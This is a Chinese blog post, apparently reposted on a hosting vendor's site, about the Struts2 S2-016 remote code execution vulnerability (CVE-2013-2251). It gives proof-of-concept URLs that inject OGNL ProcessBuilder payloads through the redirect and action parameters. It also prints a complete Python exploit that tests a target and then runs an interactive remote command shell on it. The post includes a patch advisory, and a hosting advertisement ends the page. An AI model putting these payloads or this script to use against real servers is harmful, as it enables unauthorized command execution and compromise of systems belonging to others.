7·17中午剛剛午睡醒來就看到幾個(gè)熟悉字眼——Struts2,遠(yuǎn)程執(zhí)行代碼。施特!難道繼上回<s:a>標(biāo)簽后又新曝一個(gè)?本來還沒睡醒的一下子清醒了。一看果斷,緊接著某云就被刷屏了~~~一場腥風(fēng)血雨畫面即將上演。。。
據(jù)報(bào)道,受影響版本是2.0.0-2.3.15,CVE編號(hào):CVE-2013-2251。原因是因?yàn)閰?shù)action的值redirect以及redirectAction沒有正確過濾,導(dǎo)致允許***者在訪問使用Struts2的應(yīng)用時(shí)遠(yuǎn)程執(zhí)行OGNL表達(dá)式
漏洞證明:
http://host/struts2-blank/example/X.action?action:%25{3*4}
http://host/struts2-blank/example/X.action?redirect:%25{3*4}
http://host/struts2-blank/example/X.action?redirectAction:%25{3*4}
代碼測(cè)試:
http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
官方已經(jīng)更新補(bǔ)丁,管理員們速度打上,不然褲子被脫了還不知道。
URL:http://struts.apache.org/download.cgi#struts23151
下面show下python寫的利用工具【圖】
用GOOGLE一搜差點(diǎn)沒嚇尿,再次強(qiáng)烈建議管理今晚加班都要把這修補(bǔ)了!!!晚安
--------------------------更新py腳本代碼-----------------------------------------
#!/usr/bin/env python # -*- coding: UTF-8 -*- # #-------------------------------------- # Struts2 2.0.0 - Struts 2.3.15 # CVE-2013-2251 #--------------------------------------- #Copyright By ,Terryll right Reserved #author date comment #Terry 2013-7-17 Created import urllib import urllib2 import re import sys url_exp = "?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}" def judge(url): #判斷是否存在該漏洞 if url.endswith(".action") : try: url = url + url_exp #print url url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read() #print res_html[:100] if res_html.find(">") > 0: return "Failed" else: return "OK" #print response.func_code except : return "ERROR" else: return "url error" def get_args(argument): # #轉(zhuǎn)化為參數(shù)的格式如:'ls','-al' # args = argument.split(' ') args_deal = '' for i in args: args_deal = args_deal + "'" + i + "'," args_deal = args_deal[:-1] return args_deal def strip(str): # #去除首尾的\x00串 # tmp = str.strip() blank_line=re.compile('\x00') tmp=blank_line.sub('',tmp) return tmp def attack(url): # #DO IT # try: url_request = urllib2.Request(url) response = urllib2.urlopen(url_request) res_html = response.read().strip() return strip(res_html) except : return "ERROR" if __name__ == '__main__': if len(sys.argv) > 1: #print get_url("ls -al") if judge(sys.argv[1]) == "OK": print "Success" pattern = re.compile(r'http[s]?://([\w\W]*?)/') url = sys.argv[1] + url_exp hostname = pattern.findall(url) #print hostname[0] loop = 1 while loop: string = raw_input(hostname[0] + " >") if string.startswith("exit"): break loop=0 if len(string) > 0: url_ = url.replace("'whoami'",get_args(string)) #print url_ print attack(url_) else: print "Failed" else: print("No argument!")
另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)scvps.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時(shí)售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價(jià)比高”等特點(diǎn)與優(yōu)勢(shì),專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。
當(dāng)前名稱:Struts2遠(yuǎn)程執(zhí)行代碼(S2-016)利用工具-創(chuàng)新互聯(lián)
網(wǎng)頁URL:http://www.chinadenli.net/article26/ihicg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供Google、域名注冊(cè)、關(guān)鍵詞優(yōu)化、小程序開發(fā)、微信公眾號(hào)、商城網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容